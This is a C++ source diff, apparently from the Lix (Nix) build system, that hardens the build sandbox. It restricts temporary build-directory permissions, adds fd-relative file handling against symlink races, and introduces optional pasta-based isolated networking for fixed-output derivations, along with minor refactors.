@@ -1212,7 +1212,7 @@ HookReply DerivationGoal::tryBuildHook()
    hook->toHook.writeSide.reset();

    /* Create the log file and pipe. */
-    Path logFile = openLogFile();
+    openLogFile();

    std::set<int> fds;
    fds.insert(hook->fromHook.readSide.get());
@@ -17,6 +17,7 @@
 #include "namespaces.hh"
 #include "child.hh"
 #include "unix-domain-socket.hh"
+#include "platform/linux.hh"

 #include <regex>
 #include <queue>
@@ -331,7 +332,7 @@ bool LocalDerivationGoal::cleanupDecideWhetherDiskFull()
        if (statvfs(localStore.realStoreDir.get().c_str(), &st) == 0 &&
            (uint64_t) st.f_bavail * st.f_bsize < required)
            diskFull = true;
-        if (statvfs(tmpDir.c_str(), &st) == 0 &&
+        if (statvfs(tmpDirRoot.c_str(), &st) == 0 &&
            (uint64_t) st.f_bavail * st.f_bsize < required)
            diskFull = true;
    }
@@ -474,23 +475,88 @@ void LocalDerivationGoal::startBuilder()
            settings.thisSystem,
            concatStringsSep<StringSet>(", ", worker.store.systemFeatures));

-    /* Create a temporary directory where the build will take
-       place. */
-    tmpDir = createTempDir(
-        settings.buildDir.get().value_or(""),
-        "nix-build-" + std::string(drvPath.name()),
-        false,
-        false,
-        0700
-    );
+    try {
+        auto buildDir = worker.buildDirOverride.value_or(settings.buildDir.get());
+
+        createDirs(buildDir);
+
+        /* Create a temporary directory where the build will take
+           place. */
+        tmpDirRoot =
+            createTempDir(buildDir, "nix-build-" + std::string(drvPath.name()), false, false, 0700);
+    } catch (SysError & e) {
+        /*
+         * Fallback to the global tmpdir and create a safe space there
+         * only if it's a permission error.
+         */
+        if (e.errNo != EACCES) {
+            throw;
+        }
+
+        auto globalTmp = defaultTempDir();
+        createDirs(globalTmp);
+#if __APPLE__
+        /* macOS filesystem namespacing does not exist, to avoid breaking builds, we need to weaken
+         * the mode bits on the top-level directory. This avoids issues like
+         * https://github.com/NixOS/nix/pull/11031. */
+        constexpr int toplevelDirMode = 0755;
+#else
+        constexpr int toplevelDirMode = 0700;
+#endif
+        auto nixBuildsTmp =
+            createTempDir(globalTmp, fmt("nix-builds-%s", geteuid()), false, false, toplevelDirMode);
+        warn(
+            "Failed to use the system-wide build directory '%s', falling back to a temporary "
+            "directory inside '%s'",
+            settings.buildDir.get(),
+            nixBuildsTmp
+        );
+        worker.buildDirOverride = nixBuildsTmp;
+        tmpDirRoot = createTempDir(
+            nixBuildsTmp, "nix-build-" + std::string(drvPath.name()), false, false, 0700
+        );
+    }
    /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to
     * POSIX semantics.*/
-    tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
+    tmpDirRootFd = AutoCloseFD{open(tmpDirRoot.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
+    if (!tmpDirRootFd)
+        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDirRoot);
+
+    // place the actual build directory in a subdirectory of tmpDirRoot. if
+    // we do not do this a build can `chown 777` its build directory and so
+    // make it accessible to everyone in the system, breaking isolation. we
+    // also need the intermediate level to be inaccessible to others. build
+    // processes must be able to at least traverse to the directory though,
+    // without being able to chmod. this means either mode 0750 or 0710. we
+    // cannot use 0710 because the libarchive we link with is compiled with
+    // an old apple sdk that does not have O_SEARCH, which makes libarchive
+    // try to open tmpDirRoot for *read* and fail because g+r is not set. a
+    // future update to nixpkgs may fix this. until then we do not lose any
+    // security by setting mode 0750 because we use only a single subdir in
+    // tmpDirRoot, so being able to list its parent doesn't break anything.
+    //
+    // use a short name to not increase the path length too much on darwin.
+    // darwin has a severe sockaddr_un path length limitation, so this does
+    // make a difference over more evocative names. we use `b` for `build`.
+    tmpDir = tmpDirRoot + "/b";
+    if (mkdirat(tmpDirRootFd.get(), "b", 0700)) {
+        throw SysError("failed to create the build temporary directory '%1%'", tmpDir);
+    }
+    tmpDirFd = AutoCloseFD{openat(tmpDirRootFd.get(), "b", O_RDONLY | O_NOFOLLOW | O_DIRECTORY)};
    if (!tmpDirFd)
        throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir);

    chownToBuilder(tmpDirFd);

+    if (buildUser) {
+        if (fchown(tmpDirRootFd.get(), -1, buildUser->getGID()) == -1) {
+            throw SysError("cannot change ownership of '%1%'", tmpDirRoot);
+        }
+        if (fchmod(tmpDirRootFd.get(), 0750) == -1) {
+            throw SysError("cannot change mode of '%1%'", tmpDirRoot);
+        }
+    }
+
    for (auto & [outputName, status] : initialOutputs) {
        /* Set scratch path we'll actually use during the build.

@@ -712,7 +778,7 @@ void LocalDerivationGoal::startBuilder()
        printMsg(lvlVomit, "setting builder env variable '%1%'='%2%'", i.first, i.second);

    /* Create the log file. */
-    Path logFile = openLogFile();
+    openLogFile();

    /* Create a pseudoterminal to get the output of the builder. */
    builderOut = AutoCloseFD{posix_openpt(O_RDWR | O_NOCTTY)};
@@ -831,8 +897,13 @@ void LocalDerivationGoal::initTmpDir() {
                auto hash = hashString(HashType::SHA256, i.first);
                std::string fn = ".attr-" + hash.to_string(Base::Base32, false);
                Path p = tmpDir + "/" + fn;
-                writeFile(p, rewriteStrings(i.second, inputRewrites));
-                chownToBuilder(p);
+                /* TODO(jade): we should have BorrowedFD instead of OwnedFD. */
+                AutoCloseFD passAsFileFd{openat(tmpDirFd.get(), fn.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)};
+                if (!passAsFileFd) {
+                    throw SysError("opening `passAsFile` file in the sandbox '%1%'", p);
+                }
+                writeFile(passAsFileFd, rewriteStrings(i.second, inputRewrites));
+                chownToBuilder(passAsFileFd);
                env[i.first + "Path"] = tmpDirInSandbox + "/" + fn;
            }
        }
@@ -1493,7 +1564,7 @@ void LocalDerivationGoal::runChild()
                /* N.B. it is realistic that these paths might not exist. It
                   happens when testing Nix building fixed-output derivations
                   within a pure derivation. */
-                for (auto & path : { "/etc/resolv.conf", "/etc/services", "/etc/hosts" })
+                for (auto & path : { "/etc/services", "/etc/hosts" })
                    if (pathExists(path)) {
                        // Copy the actual file, not the symlink, because we don't know where
                        // the symlink is pointing, and we don't want to chase down the entire
@@ -1514,6 +1585,11 @@ void LocalDerivationGoal::runChild()
                        copyFile(path, chrootRootDir + path, { .followSymlinks = true });
                    }

+                if (pathExists("/etc/resolv.conf")) {
+                    const auto resolvConf = rewriteResolvConf(readFile("/etc/resolv.conf"));
+                    writeFile(chrootRootDir + "/etc/resolv.conf", resolvConf);
+                }
+
                if (settings.caFile != "" && pathExists(settings.caFile)) {
                    // For the same reasons as above, copy the CA certificates file too.
                    // It should be even less likely to change during the build than resolv.conf.
@@ -1635,6 +1711,36 @@ void LocalDerivationGoal::runChild()
            if (setuid(sandboxUid()) == -1)
                throw SysError("setuid failed");

+            if (runPasta) {
+                // wait for the pasta interface to appear. pasta can't signal us when
+                // it's done setting up the namespace, so we have to wait for a while
+                AutoCloseFD fd(socket(PF_INET, SOCK_DGRAM, IPPROTO_IP));
+                if (!fd) throw SysError("cannot open IP socket");
+
+                struct ifreq ifr;
+                strcpy(ifr.ifr_name, LinuxLocalDerivationGoal::PASTA_NS_IFNAME);
+                // wait two minutes for the interface to appear. if it does not do so
+                // we are either grossly overloaded, or pasta startup failed somehow.
+                static constexpr int SINGLE_WAIT_US = 1000;
+                static constexpr int TOTAL_WAIT_US = 120'000'000;
+                for (unsigned tries = 0; ; tries++) {
+                    if (tries > TOTAL_WAIT_US / SINGLE_WAIT_US) {
+                        throw Error(
+                            "sandbox network setup timed out, please check daemon logs for "
+                            "possible error output."
+                        );
+                    } else if (ioctl(fd.get(), SIOCGIFFLAGS, &ifr) == 0) {
+                        if ((ifr.ifr_ifru.ifru_flags & IFF_UP) != 0) {
+                            break;
+                        }
+                    } else if (errno == ENODEV) {
+                        usleep(SINGLE_WAIT_US);
+                    } else {
+                        throw SysError("cannot get loopback interface flags");
+                    }
+                }
+            }
+
            setUser = false;
        }
 #endif
@@ -1797,6 +1903,8 @@ void LocalDerivationGoal::runChild()

        if (getEnv("_NIX_TEST_NO_SANDBOX") != "1") {
            Strings sandboxArgs;
+            sandboxArgs.push_back("_NIX_BUILD_TOP");
+            sandboxArgs.push_back(tmpDir);
            sandboxArgs.push_back("_GLOBAL_TMP_DIR");
            sandboxArgs.push_back(globalTmpDir);
            if (allowLocalNetworking) {
@@ -2607,16 +2715,16 @@ void LocalDerivationGoal::checkOutputs(const std::map<std::string, ValidPathInfo

 void LocalDerivationGoal::deleteTmpDir(bool force)
 {
-    if (tmpDir != "") {
+    if (tmpDirRoot != "") {
        /* Don't keep temporary directories for builtins because they
           might have privileged stuff (like a copy of netrc). */
        if (settings.keepFailed && !force && !drv->isBuiltin()) {
-            printError("note: keeping build directory '%s'", tmpDir);
-            chmod(tmpDir.c_str(), 0755);
+            printError("note: keeping build directory '%s'", tmpDirRoot);
+            chmod(tmpDirRoot.c_str(), 0755);
        }
        else
-            deletePath(tmpDir);
-        tmpDir = "";
+            deletePath(tmpDirRoot);
+        tmpDirRoot = "";
    }
 }

@@ -29,12 +29,12 @@ struct LocalDerivationGoal : public DerivationGoal
    /**
     * The temporary directory.
     */
-    Path tmpDir;
+    Path tmpDirRoot, tmpDir;

    /**
     * The temporary directory file descriptor
     */
-    AutoCloseFD tmpDirFd;
+    AutoCloseFD tmpDirRootFd, tmpDirFd;

    /**
     * The path of the temporary directory in the sandbox.
@@ -337,6 +337,12 @@ struct LocalDerivationGoal : public DerivationGoal
 protected:
    using DerivationGoal::DerivationGoal;

+    /**
+     * Whether to run pasta for network-endowed derivations. Running pasta
+     * currently requires actively waiting for its net-ns setup to finish.
+     */
+    bool runPasta = false;
+
    /**
     * Setup dependencies outside the sandbox.
     * Called in the parent nix process.
@@ -346,6 +352,15 @@ protected:
        throw Error("sandboxing builds is not supported on this platform");
    };

+    /**
+     * Rewrite resolv.conf for use in the sandbox. Used in the linux platform
+     * to replace nameservers * when using pasta for fixed output derivations.
+     */
+    virtual std::string rewriteResolvConf(std::string fromHost)
+    {
+        return fromHost;
+    }
+
    /**
     * Create a new process that runs `openSlave` and `runChild`
     * On some platforms this process is created with sandboxing flags.
@@ -26,12 +26,14 @@ R""(
 ; Allow getpwuid.
 (allow mach-lookup (global-name "com.apple.system.opendirectoryd.libinfo"))

-; Access to /tmp.
+; Access to /tmp and the build directory.
 ; The network-outbound/network-inbound ones are for unix domain sockets, which
 ; we allow access to in TMPDIR (but if we allow them more broadly, you could in
 ; theory escape the sandbox)
 (allow file* process-exec network-outbound network-inbound
-       (literal "/tmp") (subpath TMPDIR))
+       (literal "/tmp")
+       (subpath TMPDIR)
+       (subpath (param "_NIX_BUILD_TOP")))

 ; Some packages like to read the system version.
 (allow file-read*
@@ -161,6 +161,7 @@ public:

    Store & store;
    Store & evalStore;
+    std::optional<Path> buildDirOverride;

    struct HookState {
        std::unique_ptr<HookInstance> instance;
@@ -93,7 +93,7 @@ WireFormatGenerator CommonProto::Serialise<std::optional<ContentAddress>>::write
 {
    return [](std::string s) -> WireFormatGenerator {
        co_yield s;
-    }(caOpt ? renderContentAddress(*caOpt) : "");
+    }(caOpt ? renderContentAddress(caOpt) : "");
 }

 }
@@ -45,8 +45,15 @@ std::string SecretKey::signDetached(std::string_view data) const
 {
    unsigned char sig[crypto_sign_BYTES];
    unsigned long long sigLen;
-    crypto_sign_detached(sig, &sigLen, charptr_cast<const unsigned char *>(data.data()), data.size(),
-        charptr_cast<const unsigned char *>(key.data()));
+    crypto_sign_detached(
+        sig,
+        &sigLen,
+        // the following is not a string function so no null termination issues are possible here.
+        // NOLINTNEXTLINE(bugprone-suspicious-stringview-data-usage)
+        charptr_cast<const unsigned char *>(data.data()),
+        data.size(),
+        charptr_cast<const unsigned char *>(key.data())
+    );
    return name + ":" + base64Encode(std::string(reinterpret_cast<char *>(sig), sigLen));
 }

@@ -13,14 +13,9 @@ void Store::exportPaths(const StorePathSet & paths, Sink & sink)
    auto sorted = topoSortPaths(paths);
    std::reverse(sorted.begin(), sorted.end());

-    std::string doneLabel("paths exported");
-    //logger->incExpected(doneLabel, sorted.size());
-
    for (auto & path : sorted) {
-        //Activity act(*logger, lvlInfo, "exporting path '%s'", path);
        sink << 1;
        exportPath(path, sink);
-        //logger->incProgress(doneLabel);
    }

    sink << 0;
@@ -78,6 +78,9 @@ Settings::Settings()
 #if defined(__linux__) && defined(SANDBOX_SHELL)
    sandboxPaths = tokenizeString<StringSet>("/bin/sh=" SANDBOX_SHELL);
 #endif
+#if defined(__linux__) && defined(PASTA_PATH)
+    pastaPath.setDefault(PASTA_PATH);
+#endif

    /* chroot-like behavior from Apple's sandbox */
 #if __APPLE__
@@ -233,7 +236,8 @@ StringSet Settings::getDefaultExtraPlatforms()
    // x86_64 in aarch64 environments or vice versa since they can
    // always exec with their own binary preferences.
    if (std::string{SYSTEM} == "aarch64-darwin" &&
-        runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"}, .mergeStderrToStdout = true}).first == 0)
+        runProgram(RunOptions {.program = "arch", .args = {"-arch", "x86_64", "/usr/bin/true"},
+            .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}}).first == 0)
        extraPlatforms.insert("x86_64-darwin");
 #endif

@@ -561,6 +561,16 @@ public:
        )",
        {"build-chroot-dirs", "build-sandbox-paths"}};

+#if defined(__linux__)
+    Setting<Path> pastaPath{this, "", "pasta-path",
+        R"(
+            If set to an absolute path, enables fully sandboxing fixed-output
+            derivations, by using `pasta` to pass network traffic between the
+            private network namespace. This allows for greater levels of isolation
+            of builds to the host.
+        )"};
+#endif
+
    Setting<bool> sandboxFallback{this, true, "sandbox-fallback",
        "Whether to disable sandboxing when the kernel doesn't allow it."};

@@ -604,16 +614,25 @@ public:
        )"};
 #endif

-    Setting<std::optional<Path>> buildDir{this, std::nullopt, "build-dir",
+    Setting<Path> buildDir{this, nixStateDir + "/builds", "build-dir",
        R"(
            The directory on the host, in which derivations' temporary build directories are created.

-            If not set, Nix will use the system temporary directory indicated by the `TMPDIR` environment variable.
-            Note that builds are often performed by the Nix daemon, so its `TMPDIR` is used, and not that of the Nix command line interface.
+            If not set, Lix will use the `builds` subdirectory of its configured state directory.
+            Lix will create this directory automatically with suitable permissions if it does not
+            exist, otherwise its permissions must allow all users to traverse the directory (i.e.
+            it must have `o+x` set, in unix parlance) for non-sandboxed builds to work correctly.

            This is also the location where [`--keep-failed`](@docroot@/command-ref/opt-common.md#opt-keep-failed) leaves its files.

            If Nix runs without sandbox, or if the platform does not support sandboxing with bind mounts (e.g. macOS), then the [`builder`](@docroot@/language/derivations.md#attr-builder)'s environment will contain this directory, instead of the virtual location [`sandbox-build-dir`](#conf-sandbox-build-dir).
+
+            > Important:
+            >
+            > `build-dir` must not be set to a world-writable directory. Placing temporary build
+            > directories in a world-writable place allows other users to access or modify build
+            > data that is currently in use. This alone is merely an impurity, but combined with
+            > another factor this has allowed malicious derivations to escape the build sandbox.
        )"};

    Setting<PathSet> allowedImpureHostPrefixes{this, {}, "allowed-impure-host-deps",
@@ -197,6 +197,12 @@ if busybox.found()
  }
 endif

+if pasta.found()
+  cpp_str_defines += {
+    'PASTA_PATH': pasta.full_path(),
+  }
+endif
+
 cpp_args = []

 foreach name, value : cpp_str_defines
@@ -152,7 +152,6 @@ struct NarAccessor : public FSAccessor

    NarMember * find(const Path & path)
    {
-        Path canon = path == "" ? "" : canonPath(path);
        NarMember * current = &root;
        auto end = path.end();
        for (auto it = path.begin(); it != end; ) {
@@ -120,7 +120,7 @@ std::string NarInfo::to_string(const Store & store) const
        res += "Sig: " + sig + "\n";

    if (ca)
-        res += "CA: " + renderContentAddress(*ca) + "\n";
+        res += "CA: " + renderContentAddress(ca) + "\n";

    return res;
 }
@@ -1,15 +1,25 @@
 #include "build/worker.hh"
 #include "cgroup.hh"
+#include "file-descriptor.hh"
+#include "file-system.hh"
 #include "finally.hh"
 #include "gc-store.hh"
+#include "processes.hh"
 #include "signals.hh"
 #include "platform/linux.hh"
 #include "regex.hh"
+#include "strings.hh"

+#include <csignal>
+#include <cstdlib>
 #include <grp.h>
 #include <regex>
 #include <sys/prctl.h>

+#if __linux__
+#include <linux/capability.h>
+#endif
+
 #if HAVE_SECCOMP
 #include <linux/filter.h>
 #include <seccomp.h>
@@ -57,6 +67,14 @@ static void readFileRoots(const char * path, UncheckedRoots & roots)
    }
 }

+LinuxLocalDerivationGoal::~LinuxLocalDerivationGoal()
+{
+    // pasta being left around mostly happens when builds are aborted
+    if (pastaPid) {
+        pastaPid.kill();
+    }
+}
+
 void LinuxLocalStore::findPlatformRoots(UncheckedRoots & unchecked)
 {
    auto procDir = AutoCloseDir{opendir("/proc")};
@@ -832,6 +850,26 @@ void LinuxLocalDerivationGoal::prepareSandbox()
    }
 }

+std::string LinuxLocalDerivationGoal::rewriteResolvConf(std::string fromHost)
+{
+    if (!runPasta) {
+        return fromHost;
+    }
+
+    static constexpr auto flags = std::regex::ECMAScript | std::regex::multiline;
+    static std::regex lineRegex("^nameserver\\s.*$", flags);
+    static std::regex v4Regex("^nameserver\\s+\\d{1,3}\\.", flags);
+    static std::regex v6Regex("^nameserver.*:", flags);
+    std::string nsInSandbox = "\n";
+    if (std::regex_search(fromHost, v4Regex)) {
+        nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV4);
+    }
+    if (std::regex_search(fromHost, v6Regex)) {
+        nsInSandbox += fmt("nameserver %s\n", PASTA_HOST_IPV6);
+    }
+    return std::regex_replace(fromHost, lineRegex, "") + nsInSandbox;
+}
+
 Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
 {
 #if HAVE_SECCOMP
@@ -859,9 +897,11 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)

       - The private network namespace ensures that the builder
         cannot talk to the outside world (or vice versa).  It
-         only has a private loopback interface. (Fixed-output
-         derivations are not run in a private network namespace
-         to allow functions like fetchurl to work.)
+         only has a private loopback interface. If a copy of
+         `pasta` is available, Fixed-output derivations are run
+         inside a private network namespace with internet
+         access, otherwise they are run in the host's network
+         namespace, to allow functions like fetchurl to work.

       - The IPC namespace prevents the builder from communicating
         with outside processes using SysV IPC mechanisms (shared
@@ -882,6 +922,10 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
    if (derivationType->isSandboxed())
        privateNetwork = true;

+    // don't launch pasta unless we have a tun device. in a build sandbox we
+    // commonly do not, and trying to run pasta anyway naturally won't work.
+    runPasta = !privateNetwork && settings.pastaPath != "" && pathExists("/dev/net/tun");
+
    userNamespaceSync.create();

    Pipe sendPid;
@@ -906,7 +950,9 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)

        ProcessOptions options;
        options.cloneFlags = CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS | CLONE_PARENT | SIGCHLD;
-        if (privateNetwork)
+        // we always want to create a new network namespace for pasta, even when
+        // we can't actually run it. not doing so hides bugs and impairs purity.
+        if (settings.pastaPath != "" || privateNetwork)
            options.cloneFlags |= CLONE_NEWNET;
        if (usingUserNamespace)
            options.cloneFlags |= CLONE_NEWUSER;
@@ -988,6 +1034,67 @@ Pid LinuxLocalDerivationGoal::startChild(std::function<void()> openSlave)
    /* Signal the builder that we've updated its user namespace. */
    writeFull(userNamespaceSync.writeSide.get(), "1");

+    if (runPasta) {
+        // Bring up pasta, for handling FOD networking. We don't let it daemonize
+        // itself for process managements reasons and kill it manually when done.
+
+        // TODO add a new sandbox mode flag to disable all or parts of this?
+        Strings args = {
+            // clang-format off
+            "--quiet",
+            "--foreground",
+            "--config-net",
+            "--gateway", PASTA_HOST_IPV4,
+            "--address", PASTA_CHILD_IPV4, "--netmask", PASTA_IPV4_NETMASK,
+            "--dns-forward", PASTA_HOST_IPV4,
+            "--gateway", PASTA_HOST_IPV6,
+            "--address", PASTA_CHILD_IPV6,
+            "--dns-forward", PASTA_HOST_IPV6,
+            "--ns-ifname", PASTA_NS_IFNAME,
+            "--no-netns-quit",
+            "--netns", "/proc/self/fd/0",
+            // clang-format on
+        };
+
+        AutoCloseFD netns(open(fmt("/proc/%i/ns/net", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
+        if (!netns) {
+            throw SysError("failed to open netns");
+        }
+
+        AutoCloseFD userns;
+        if (usingUserNamespace) {
+            userns =
+                AutoCloseFD(open(fmt("/proc/%i/ns/user", pid.get()).c_str(), O_RDONLY | O_CLOEXEC));
+            if (!userns) {
+                throw SysError("failed to open userns");
+            }
+            args.push_back("--userns");
+            args.push_back("/proc/self/fd/1");
+        }
+
+        // FIXME ideally we want a notification when pasta exits, but we cannot do
+        // this at present. without such support we need to busy-wait for pasta to
+        // set up the namespace completely and time out after a while for the case
+        // of pasta launch failures. pasta logs go to syslog only for now as well.
+        pastaPid = runProgram2({
+            .program = settings.pastaPath,
+            .args = args,
+            .uid = useBuildUsers() ? std::optional(buildUser->getUID()) : std::nullopt,
+            .gid = useBuildUsers() ? std::optional(buildUser->getGID()) : std::nullopt,
+            // TODO these redirections are crimes. pasta closes all non-stdio file
+            // descriptors very early and lacks fd arguments for the namespaces we
+            // want it to join. we cannot have pasta join the namespaces via pids;
+            // doing so requires capabilities which pasta *also* drops very early.
+            .redirections = {
+                {.from = 0, .to = netns.get()},
+                {.from = 1, .to = userns ? userns.get() : 1},
+            },
+            .caps = getuid() == 0
+                ? std::set<long>{CAP_SYS_ADMIN, CAP_NET_BIND_SERVICE}
+                : std::set<long>{},
+        });
+    }
+
    return pid;
 }

@@ -1002,5 +1109,24 @@ void LinuxLocalDerivationGoal::killSandbox(bool getStats)
    } else {
        LocalDerivationGoal::killSandbox(getStats);
    }
+
+    if (pastaPid) {
+        // FIXME we really want to send SIGTERM instead and wait for pasta to exit,
+        // but we do not have the infra for that right now. we send SIGKILL instead
+        // and treat exiting with that as a successful exit code until such a time.
+        // this is not likely to cause problems since pasta runs as the build user,
+        // but not inside the build sandbox. if it's killed it's either due to some
+        // external influence (in which case the sandboxed child will probably fail
+        // due to network errors, if it used the network at all) or some bug in lix
+        if (auto status = pastaPid.kill(); !WIFSIGNALED(status) || WTERMSIG(status) != SIGKILL) {
+            if (WIFSIGNALED(status)) {
+                throw Error("pasta killed by signal %i", WTERMSIG(status));
+            } else if (WIFEXITED(status)) {
+                throw Error("pasta exited with code %i", WEXITSTATUS(status));
+            } else {
+                throw Error("pasta exited with status %i", status);
+            }
+        }
+    }
 }
 }
@@ -4,6 +4,7 @@
 #include "build/local-derivation-goal.hh"
 #include "gc-store.hh"
 #include "local-store.hh"
+#include "processes.hh"

 namespace nix {

@@ -41,7 +42,23 @@ class LinuxLocalDerivationGoal : public LocalDerivationGoal
 public:
    using LocalDerivationGoal::LocalDerivationGoal;

+    ~LinuxLocalDerivationGoal();
+
+    // NOTE these are all C strings because macos doesn't have constexpr std::string
+    // constructors, and std::string_view is a pain to turn into std::strings again.
+    static constexpr const char * PASTA_NS_IFNAME = "eth0";
+    static constexpr const char * PASTA_HOST_IPV4 = "169.254.1.1";
+    static constexpr const char * PASTA_CHILD_IPV4 = "169.254.1.2";
+    static constexpr const char * PASTA_IPV4_NETMASK = "16";
+    // randomly chosen 6to4 prefix, mapping the same ipv4ll as above.
+    // even if this id is used on the daemon host there should not be
+    // any collisions since ipv4ll should never be addressed by ipv6.
+    static constexpr const char * PASTA_HOST_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0101";
+    static constexpr const char * PASTA_CHILD_IPV6 = "64:ff9b:1:4b8e:472e:a5c8:a9fe:0102";
+
 private:
+    RunningProgram pastaPid;
+
    /**
     * Create and populate chroot
     */
@@ -70,6 +87,7 @@ private:
        return true;
    }

+    std::string rewriteResolvConf(std::string fromHost) override;
 };

 }
@@ -145,7 +145,7 @@ SQLiteStmt::Use::~Use()
 SQLiteStmt::Use & SQLiteStmt::Use::operator () (std::string_view value, bool notNull)
 {
    if (notNull) {
-        if (sqlite3_bind_text(stmt, curArg++, value.data(), -1, SQLITE_TRANSIENT) != SQLITE_OK)
+        if (sqlite3_bind_text(stmt, curArg++, value.data(), value.length(), SQLITE_TRANSIENT) != SQLITE_OK)
            SQLiteError::throw_(stmt.db, "binding argument");
    } else
        bind();
@@ -4,6 +4,7 @@
 #include "finally.hh"
 #include "logging.hh"
 #include "strings.hh"
+#include <unistd.h>

 namespace nix {

@@ -49,7 +50,7 @@ bool SSHMaster::isMasterRunning() {
    Strings args = {"-O", "check", host};
    addCommonSSHOpts(args);

-    auto res = runProgram(RunOptions {.program = "ssh", .args = args, .mergeStderrToStdout = true});
+    auto res = runProgram(RunOptions {.program = "ssh", .args = args, .redirections = {{.from = STDERR_FILENO, .to = STDOUT_FILENO}}});
    return res.first == 0;
 }

@@ -1322,8 +1322,7 @@ std::optional<StorePath> Store::getBuildDerivationPath(const StorePath & path)
    if (!path.isDerivation()) {
        try {
            auto info = queryPathInfo(path);
-            if (!info->deriver) return std::nullopt;
-            return *info->deriver;
+            return info->deriver;
        } catch (InvalidPath &) {
            return std::nullopt;
        }
@@ -239,6 +239,7 @@ struct BrotliCompressionSink : ChunkedCompressionSink

    void writeInternal(std::string_view data) override
    {
+        // NOLINTNEXTLINE(bugprone-suspicious-stringview-data-usage)
        auto next_in = charptr_cast<const uint8_t *>(data.data());
        size_t avail_in = data.size();
        uint8_t * next_out = outbuf;
@@ -391,16 +391,26 @@ void syncParent(const Path & path)
    fd.fsync();
 }

-static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed)
+/* TODO(horrors): a better structure that links all parent fds for the traversal root
+ * should be considered for this code
+ */
+static void _deletePath(int parentfd, const Path & name, uint64_t & bytesFreed)
 {
+    /* This ensures that `name` is an immediate child of `parentfd`. */
+    assert(!name.empty() && name.find('/') == std::string::npos && "`name` is an immediate child to `parentfd`");
    checkInterrupt();

-    std::string name(baseNameOf(path));
+    /* FIXME(horrors): there's a minor TOCTOU here.
+     * we fstatat the inode nofollow, check if this is a directory
+     * and then open it.
+     * a better alternative is open it as O_PATH as a namefd.
+     * if it's a directory, it can be openat with the namefd.
+     */

    struct stat st;
    if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) {
        if (errno == ENOENT) return;
-        throw SysError("getting status of '%1%'", path);
+        throw SysError("getting status of '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
    }

    if (!S_ISDIR(st.st_mode)) {
@@ -431,24 +441,25 @@ static void _deletePath(int parentfd, const Path & path, uint64_t & bytesFreed)
        /* Make the directory accessible. */
        const auto PERM_MASK = S_IRUSR | S_IWUSR | S_IXUSR;
        if ((st.st_mode & PERM_MASK) != PERM_MASK) {
-            if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1)
-                throw SysError("chmod '%1%'", path);
+            if (fchmodat(parentfd, name.c_str(), st.st_mode | PERM_MASK, 0) == -1) {
+                throw SysError("chmod '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
+            }
        }

-        int fd = openat(parentfd, path.c_str(), O_RDONLY);
+        int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW);
        if (fd == -1)
-            throw SysError("opening directory '%1%'", path);
+            throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
        AutoCloseDir dir(fdopendir(fd));
        if (!dir)
-            throw SysError("opening directory '%1%'", path);
-        for (auto & i : readDirectory(dir.get(), path))
-            _deletePath(dirfd(dir.get()), path + "/" + i.name, bytesFreed);
+            throw SysError("opening directory '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
+        for (auto & i : readDirectory(dir.get(), name))
+            _deletePath(dirfd(dir.get()), i.name, bytesFreed);
    }

    int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0;
    if (unlinkat(parentfd, name.c_str(), flags) == -1) {
        if (errno == ENOENT) return;
-        throw SysError("cannot unlink '%1%'", path);
+        throw SysError("cannot unlink '%1%' in directory '%2%'", name, guessOrInventPathFromFD(parentfd));
    }
 }

@@ -464,7 +475,7 @@ static void _deletePath(const Path & path, uint64_t & bytesFreed)
        throw SysError("opening directory '%1%'", path);
    }

-    _deletePath(dirfd.get(), path, bytesFreed);
+    _deletePath(dirfd.get(), std::string(baseNameOf(path)), bytesFreed);
 }


@@ -25,7 +25,7 @@ std::string hiliteMatches(
        out.append(s.substr(last_end, m.position() - last_end));
        // Merge continous matches
        ssize_t end = start + m.length();
-        while (++it != matches.end() && (*it).position() <= end) {
+        for (++it; it != matches.end() && (*it).position() <= end; ++it) {
            auto n = *it;
            ssize_t nend = start + (n.position() - start + n.length());
            if (nend > end)
@@ -38,6 +38,6 @@ const nlohmann::json & ensureType(
            nlohmann::json(expectedType).type_name(),
            value.type_name());

-    return value;
+    return value; // NOLINT(bugprone-return-const-ref-from-parameter)
 }
 }
@@ -258,12 +258,12 @@ extern Verbosity verbosity;
 * level. Note that this has to be implemented as a macro to ensure that the
 * arguments are evaluated lazily.
 */
-#define printMsgUsing(loggerParam, level, args...) \
-    do { \
-        auto __lvl = level; \
-        if (__lvl <= nix::verbosity) { \
-            loggerParam->log(__lvl, fmt(args)); \
-        } \
+#define printMsgUsing(loggerParam, level, args...)              \
+    do {                                                        \
+        auto _lix_logger_print_lvl = level;                     \
+        if (_lix_logger_print_lvl <= nix::verbosity) {          \
+            loggerParam->log(_lix_logger_print_lvl, fmt(args)); \
+        }                                                       \
    } while (0)
 #define printMsg(level, args...) printMsgUsing(logger, level, args)

@@ -21,6 +21,7 @@
 #endif

 #ifdef __linux__
+# include <linux/capability.h>
